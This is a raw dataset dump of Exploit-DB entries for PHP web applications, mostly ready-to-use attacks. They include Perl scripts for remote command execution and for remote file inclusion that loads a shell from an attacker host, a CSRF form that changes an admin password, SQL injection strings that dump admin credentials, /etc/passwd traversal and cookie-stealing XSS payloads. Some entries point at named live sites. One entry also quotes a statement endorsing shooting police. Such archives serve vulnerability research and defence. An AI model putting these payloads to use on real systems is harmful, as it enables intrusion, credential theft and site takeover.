deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30022
Description: PHP Multi User Randomizer 2006.09.13 - 'Configure_Plugin.TPL.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-05-10
Author: the_Edit0r

Exploit:
source: https://www.securityfocus.com/bid/23917/info

PHP Multi User Randomizer is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/web/configure_plugin.tpl.php?edit_plugin==[xss]
Exploit-DB #42925
Description: PHP Multi Vendor Script 1.02 - 'sid' SQL Injection
Type: webapps
Platform: php
Date: 2017-09-28
Author: 8bitsec

Exploit:
# Exploit Title: PHP Multi Vendor Script v1.02 - 'sid' Parameter SQL Injection
# Date: 2017-09-28
# Exploit Author: 8bitsec
# Vendor Homepage: http://www.dexteritysolution.com/
# Software Link: http://www.dexteritysolution.com/php-multivendor-e-commerce-script.html
# Version: 1.02
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-09-28

Product & Service Introduction:
===============================
In this business world everyone prefers to do online shopping in order to make their shopping easily because it consumes time.

Technical Details & Description:
================================

SQL injection on [sid] parameter.

Proof of Concept (PoC):
=======================

SQLi:

http://localhost/[path]/single_detail.php?sid=15 AND 5068=5068

Parameter: sid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: sid=15 AND 5068=5068

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: sid=15 AND SLEEP(5)

==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #7400
Description: PHP Multiple Newsletters 2.7 - Local File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-12-09
Author: ahmadbady

Exploit:
****(Lfi/xss)****

script: PHP_Multiple_Newsletters v2.7

***************************************************************************
download from:http://www.phpmultiplenewsletters.com/modules/phpmultiplenewsletters.com/dist/free/PHP_Multiple_Newsletters_v2.7.zip
   
***************************************************************************
vul:/index.php
line 36:
include ('language/'..$_REQUEST['lang'].'.php');
   
***************************************************
xpl:
www.site.com/path/index.php?lang=[Lfi]%00

xss:
www.site.com/path/index.php/>"><ScRiPt>alert(document.cookie)</ScRiPt>
...................................................
Author: ahmadbady from:iran

my mail: kivi_hacker666@yahoo.com

***************************************************

# milw0rm.com [2008-12-09]
Exploit-DB #43293
Description: PHP Multivendor Ecommerce 1.0 - 'sid' / 'searchcat' / 'chid1' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: PHP Multivendor Ecommerce 1.0 - SQL Injection
# Dork: N/A
# Date: 09.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/php-multivendor-ecommerce/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/single_detail.php?sid=[SQL]
# 
# Parameter: sid (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: sid=22 AND 4059=4059
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: sid=22 AND SLEEP(5)
# 
# 2)
# http://localhost/[PATH]/category.php?searchcat=[SQL]
# 
# Parameter: searchcat (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: searchcat=s%' AND 4309=4309 AND '%'='
# 
# 3)
# http://localhost/[PATH]/category.php?chid1=[SQL]
# 
# Parameter: chid1 (GET)
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: chid1=46' AND SLEEP(5) AND 'DzvZ'='DzvZ
# 
# # # # #
Exploit-DB #1695
Description: PHP Net Tools 2.7.1 - Remote Code Execution
Type: webapps
Platform: php
Date: 2006-04-18
Author: FOX_MULDER

Exploit:
#!/usr/bin/perl
# PHP Net Tools Remote Code Execution Exploit
#
# by FOX_MULDER (fox_mulder@abv.bg)
# Vulnerability found by FOX_MULDER.
#
# "Born to be root !!!"
#----------------------------------+
#PHP Net Tools                     |
#Copyright (C) 2005 Eric Robertson |
#h4rdc0d3@gmail.com                |
#----------------------------------+
#
# Fact:Wbyte counted twice to infinity !!!
#
#
###################################################
	use LWP 5.64;

	my $hostname = $ARGV[0];
	my $dir = $ARGV[1];
	my $command = $ARGV[2];

        if (@ARGV<2) {
	print "\nUsage: ntools.pl www.site.com /dir/ \"ls \-la\" \n";
	exit();
	}
	
	print "=======================================================\n";
	print "0day 0day 0day 0day 0day 0day 0day 0day 0day 0day 0day\n";
	print "PHP Net Tools Command Execution Exploit by FOX_MULDER\n";
	print "fox_mulder@abv.bg\r\n";
	print "=======================================================\n";

	my $browser = LWP::UserAgent->new;
	$browser->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)');
	print "\n\n[+]Sending request to server . . .\r\n";
	
	my $url = "http://$hostname$dir/nettools.php";

	
	my $response = $browser->post( $url,[
		'ping' => '1',
        	'host' => "|$command"]);

 	my $code = $response->status_line;
        print "[+] HTTP RESPONSE $code\n";
        print "\n[+]Injecting command . . .\n";
	$response->content =~ /blockquote>(.*)<\/blockquote>/s;
	print "$1\n";

# milw0rm.com [2006-04-18]
Exploit-DB #40557
Description: PHP NEWS 1.3.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2016-10-16
Author: Meryem AKDOĞAN

Exploit:
*=========================================================================================================
# Exploit Title: PHP NEWS 1.3.0 - Cross-Site Request Forgery (Add Admin)
# Author: Meryem AKDOĞAN
# Google Dork: -
# Date: 16/10/2016
# Type: webapps
# Platform : PHP
# Vendor Homepage: http://newsphp.sourceforge.net
# Software Link: https://sourceforge.net/projects/newsphp/
# Version: 1.3.0
*=========================================================================================================


DETAILS
========================================

PHP NEWS 1.3.0 versions is vulnerable to CSRF attack (No CSRF token in
place) meaning that if an admin user can be tricked to visit a crafted URL
created
by attacker (via spear phishing/social engineering), a form will be
submitted to (http://sitename/path/index.php) that will change admin
password.

Once exploited, the attacker can login to the admin panel using the
username and the password he posted in the form.


RISK
========================================

Attacker can change admin password with this vulnerablity



TECHNICAL DETAILS & POC
========================================

<html>
  <!— CSRF PoC —>
  <body>
    <form action="
http://site_name/phpnews/index.php?action=modifynewsposter3" method="POST">
      <input type="hidden" name="id" value="7" />
      <input type="hidden" name="newusername" value="meryem akdogan" />
      <input type="hidden" name="username" value="meryem" />
      <input type="hidden" name="password" value="meryem123." />
      <input type="hidden" name="password2" value="meryem123." />
      <input type="hidden" name="email" value="b&#64;gmail&#46;com" />
      <input type="hidden" name="language" value="en&#95;GB" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

========================================
Exploit-DB #2517
Description: PHP News Reader 2.6.4 - 'phpBB.inc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-11
Author: Nima Salehi

Exploit:
#!/usr/bin/perl
 
#################################################################
#                                                               #
#            PHP News Reader                                    #
#                                                               #
# Class:     Remote File Include Vulnerability                  #
#                                                               #
# Patch:     unavailable                                        #
#                                                               #
# Date:      2006/10/12                                         #
#                                                               #
# Remote:    Yes                                                #
#                                                               #
# Type:      high                                               #
#                                                               #
# Site:      http://pnews.sourceforge.net/                      #
#                                                               #
#################################################################


use IO::Socket;
use LWP::Simple;

$cmdshell="http://attacker.com/cmd.txt";   # <====== Change This Line With Your Personal Script

print "\n";
print "#################################################################\n";
print "#                                                               #\n";
print "# PHP News Reader <= 2.6.2   Remote File Include Vulnerability  #\n";
print "# Bug found By : Ashiyane Corporation                           #\n";
print "# Email: Nima Salehi    nima[at]ashiyane.ir                     #\n";
print "# Web Site : www.Ashiyane.ir                                    #\n";
print "#                                                               #\n";
print "#################################################################\n";


if (@ARGV < 2)
{
    print "\n Usage: Ashiyane.pl [host] [path] ";
    print "\n EX : Ashiyane.pl www.victim.com /pnews/  \n\n";
exit;
}


$host=$ARGV[0];
$path=$ARGV[1];

print "Type Your Commands ( uname -a )\n";
print "For Exiit Type END\n";

print "<Shell> ";$cmd = <STDIN>;

while($cmd !~ "END") {
    $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Could not connect to host.\n\n";

    print $socket "GET ".$path."auth/phpbb.inc.php?CFG[auth_phpbb_path]=".$cmdshell."?cmd=".$cmd."? HTTP/1.1\r\n";
    print $socket "Host: ".$host."\r\n";
    print $socket "Accept: */*\r\n";
    print $socket "Connection: close\r\n\n";

    while ($raspuns = <$socket>)
    {
        print $raspuns;
    }

    print "<Shell> ";
    $cmd = <STDIN>;
}

# milw0rm.com [2006-10-11]
Exploit-DB #37726
Description: PHP News Script 4.0.0 - SQL Injection
Type: webapps
Platform: php
Date: 2015-08-07
Author: Meisam Monsef

Exploit:
# Exploit Title: PHP News Script 4.0.0 Sql Injection
# Date: 2015-08-01
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
# Vendor Homepage: http://phpnewsscript.com/
# Version: 4.0.0
# Tested on: CentOS

Exploit :
http://server/allgallery.php?id=-9999%27+[sql-command]+%23

Test :
http://server/demo/allgallery.php?id=-100%27+union+select+user()%23
Exploit-DB #9269
Description: PHP Paid 4 Mail Script - 'home.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-07-27
Author: int_main();

Exploit:
_______         ___________
\   _  \ ___  __\_   _____/
/  /_\  \\  \/  /|    __)  
\  \_/   \>    < |     \   
 \_____  /__/\_ \\___  /   
       \/      \/    \/    
                       #ruling the web since 9/2008


  [=] PHP Paid 4 Mail Script File Inclusion vuln
       
       Vendor   : http://www.shop-020.de
       Script   : PHP Paid 4 Mail Script 
       Download : http://www.shop-020.de/phpscriptat-p25h4s5-PHP-Paid-4-Mail-Scri.html
       Author   : int_main();
       Contact  : someone[at]jabber.ccc.de
       Site     : 0xFEE1DEAD.de
       Greez    : BrainWash,Thunderbird,STEAL,The Papst,eddy14,MagicFridge,Patrick B,Hero,tmh,Lorenz,iNs
      


       Exploit:

       http://[target]/home.php?page=[evilscript]

       POC:

       http://www.city-demo.at/mail/home.php?page=http://google.de

       (File access is unfortunately disabled in this case, otherwise, this inclusion would work because of the coding gap.)

       Have phun, wui!

  [=]     
       "Wir sagen natÃ¼rlich, die Bullen sind Schweine, wir sagen, der Typ in Uniform ist ein Schwein, das ist kein Mensch, (...) 
       und natÃ¼rlich kann geschossen werden!" (Ulrike Meinhof, 1970)" 
  [=] 

# milw0rm.com [2009-07-27]
Exploit-DB #9287
Description: PHP Paid 4 Mail Script - 'paidbanner.php?ID' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-28
Author: ThE g0bL!N

Exploit:
###########################################################################################
[+] PHP Paid 4 Mail Script (ID) SQL Injection Vulnerability
[+] Discovered By ThE g0bL!N
[+] http://www.h4ckf0ru.com & http://sec-art.com/cc/
############################################################################################
[+]Homepage : http://www.shop-020.de
[+] Exploit: /paidbanner.php?ID=-1+union+select+1,2,3,4,5,user(),7,8,9,10--
[+] Demo: http://www.city-demo.at/mail/paidbanner.php?ID=-1+union+select+1,2,3,4,5,user(),7,8,9,10--
[+] Note : You can see the information like this "The requested URL /mail/[INFORMATION SQL] was not found on this server."
-------------------------------------------------------------------------------------------

# milw0rm.com [2009-07-28]
Exploit-DB #11442
Description: PHP PEAR 1.9.0 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2010-02-14
Author: eidelweiss

Exploit:
###########################################################
###
### PEAR v.1.9.0 Multiple Remote File Inclusion Vulnerability
##
###########################################################
###     PEAR, the PHP Extension and Application Repository
###
###     * @package        PEAR
###     * @Version        v.1.9.0
###     * @license        http://opensource.org/licenses/bsd-license.php New BSD License
###     * @link           http://pear.php.net/package/PEAR
###
###########################################################
###
###     Type :  Remote File Inclusion Vulnerability
###     Author: eidelweiss
###     Date  : 2010-02-14
###     Location:       Indonesia ( http://yogyacarderlink.web.id )
###     Contact:        g1xsystem [at] windowslive [dot] com
###     Greetz : AL-MARHUM - YOGYACARDERLINK TEAM - (D)eal (C)yber
###
###########################################################
###
###     Vuln:   if ('../DIRECTORY_SEPARATOR/PEAR' != '@'.'include_path'.'@') {
###                     ini_set('include_path', '../DIRECTORY_SEPARATOR/PEAR');
###                     $raw = true;
###             }
###             @ini_set('allow_url_fopen', true);
###             if (!ini_get('safe_mode')) {
###             @set_time_limit(0);
###             }
###     $_PEAR_PHPDIR = '#$%^&*';
###             define('PEAR_RUNTYPE', 'pecl');
###             require_once 'pearcmd.php';
###             require_once 'PEAR.php';
###             require_once 'PEAR/Frontend.php';
###             require_once 'PEAR/Config.php';
###             require_once 'PEAR/Command.php';
###             require_once 'Console/Getopt.php';
###     =========================================================
###     exploit:        http://victim.com/[DIRECTORY_SEPARATOR]/PEAR_DIR/PEAR.php?include_path=[Shell.txt?]
###             http://victim.com/[DIRECTORY_SEPARATOR]/PEAR_DIR/PEAR.php?_PEAR_PHPDIR =[Shell.txt?]
###########################################################
Exploit-DB #26668
Description: PHP Photo Album 0.2.3/4.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2005-11-30
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15651/info

phpAlbum is prone to a local file-include vulnerability.

An attacker may leverage this issue to execute arbitrary server-side script code that resides on an affected computer with the privileges of the webserver process.

Note that this issue may also be leveraged to read arbitrary files on an affected computer with the privileges of the webserver.

phpAlbum 0.2.3 and prior versions are vulnerable.

http://www.example.com/main.php?cmd=../
http://www.example.com/main.php?cmd=album&var1=../
Exploit-DB #18045
Description: PHP Photo Album 0.4.1.16 - Multiple Disclosure Vulnerabilities
Type: webapps
Platform: php
Date: 2011-10-29
Author: BHG Security Center

Exploit:
----------------------------------------------------------------
PHP Photo Album <= (0.4.1.16) Multiple Disclosure Vulnerabilities
----------------------------------------------------------------

# Exploit Title: PHP Photo Album <= (0.4.1.16) Multiple Disclosure
Vulnerabilities
# Google Dork: inurl:main.php?cmd=imageview&var1=
# Application Name: [PHP Photo Album]
# Date: 2011-10-29
# Author: BHG Security Center
# Home: Http://black-hg.org
# Software Link: [ http://www.phpalbum.net/dw ]
# Version: [ 0.4.1.16 ]
# Impact : [ High ]
# Tested on: [linux+apache]
# CVE : Webapps
# Finder(s):
    - Net.Edit0r (Net.edit0r [at] att [dot] net)
    - tHe.k!ll3r (Attack-bhg [at] att [dot] net)
    - 2MzRp  (mzrp2 [at] Yahoo [dot] com )

# Description: : Given the vulnerability you want to read files on the
server must have access

+-----------------------+
| Cross Site scripting  |
+-----------------------+

The vulnerable code is located in /www/main.php?cmd=imageview&var1=[XSS]


Proof of Concept:
-----------------


~ PoC : http://localhost/phpAlbum/main.php?cmd=imageview&var1=[XSS]

~ Poc 2

http://localhost/phpAlbum/main.php?cmd=albumnew&keyword=[XSS]

+----------------------+
| Download/Source Code |
+----------------------+

The vulnerable code is located in /www/main.php

Proof of Concept:
-----------------

~ PoC : http://localhost/phpAlbum/main.php?cmd=image&var1=[LFD]

~ PoC : http://localhost/phpAlbum/main.php?cmd=image&var1=../main.php

~ PoC 2 : http://localhost/main.php?cmd=themeimage&var1=[LFD]

# Important Notes:

Php files from source to display (Veiw Page Source) your browser


+--------------------+
| PHP Code Injection |
+--------------------+

The vulnerable code is located in /www/main.php

124 :       Array
125 :       (
126 :              [0] => cmd=phpinfo
127 :        )


Proof of Concept:
-----------------

~ PoC : http://localhost/phpAlbum/main.php?cmd=phpinfo

~ PoC : http://localhost/demo3/main.php?keyword=hack&cmd=phpinfo

~ PoC 2 http://localhost/main.php?cmd=setquality&var1=[PHP Code Injection]


[-] Disclosure timeline:

[12/10/2011] - Vulnerabilities discovered
[14/10/2011] - Others vulnerabilities discovered
[15/10/2011] - Issues reported to http://black-hg.org
[29/10/2011] - Public disclosure


# Greets To :

Net.Edit0r ~ A.Cr0x ~ 3H34N ~ 4m!n ~ Cyrus ~ tHe.k!ll3r ~ 2MzRp ~
ArYaIeIrAn ~ Mikili

cmaxx ~ G3n3Rall ~ Mr.XHat ~  M4hd1 ~ Cru3l.b0y ~ HUrr!c4nE ~ r3v0lter
~ NoL1m1t

s3cure.p0rt ~ THANKS TO ALL Iranian HackerZ  ./Persian Gulf

===========================================[End]=============================================
Exploit-DB #7786
Description: PHP Photo Album 0.8b - 'preview' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-01-14
Author: Osirys

Exploit:
[START]

###################################################################################################################################
[0x01] Informations:

Script         : Php Photo Album 0.8 BETA
Download       : http://sourceforge.net/project/downloading.php?group_id=151573&use_mirror=kent&filename=PHPPA_.9_BETA.zip&37834145
Vulnerability  : Local File Inclusion
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org
Notes          : Proud to be Italian


###################################################################################################################################
[0x02] Bug: [Local File Inclusion]
######

Bugged file is: /[path]/index.php

[CODE]

$skin_temp = $_GET['preview'];
if(isset($_GET['preview']) && file_exists("./skin/$skin_temp/config.php")){
	$skin = $_GET['preview'];
	}
else{
	$skin = vari("skin");
	}
require("./skin/$skin/config.php");

[/CODE]

If 'preview' from GET is provided, we can include it just bypassing a stupid cheek.
file_exists("./skin/$skin_temp/config.php) <-- this cheek is stupid, becouse when
we set a value to $skin_temp , if we set a local file with a directory trasversal
it's obvious that the file exists, so it will be included.

[!] FIX: Use another filter instead of file_exists("./skin/$skin_temp/config.php)
         Just filter $skin_temp before include it. A fix could be to declare $skin
         with a standard or local value, or just put the allowed values in an array,
         and cheek then if the skin provided is allowed. See is_in_array() function


[!] EXPLOIT: /[path]/index.php?preview=[local_file]%00
                                       ../../../../../../../../../../../../etc/passwd%00

###################################################################################################################################

[/END]

# milw0rm.com [2009-01-14]
Exploit-DB #5364
Description: PHP Photo Gallery 1.0 - 'photo_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-04
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		   PHP Photo Gallery 1.0 SQL Injection Vulnerbilitys	             +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz & xprog
Discovered On: 4 April 2008
SITE: http://www.terong.com/products/advanced-photo-gallery/
DORK: N/A


DESCRIPTION:
PHP Photo Gallery is vulnerable due to insecure mysql querys.
The below "mysql injection" will display the admin username/password in plaintext.


EXPLOITS:
http://gallery.terong.biz/index.php?photo_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,0x3a,password,0x3a,admin),4/**/FROM/**/users/**/WHERE/**/admin=0x59/*


NOTE/TIP:
passwords are in plaintext 


GREETZ: milw0rm.com, h4ck-y0u.org !



--==+================================================================================+==--
--==+		   PHP Photo Gallery 1.0 SQL Injection Vulnerbilitys	             +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-04]
Exploit-DB #34845
Description: PHP Photo Vote 1.3F - 'page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-07
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/44136/info

PHP Photo Vote is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PHP Photo Vote 1.3F is vulnerable; other versions may also be affected. 

http://www.example.com/demo/photovote/login.php?page="><script>alert(document.cookie);</script>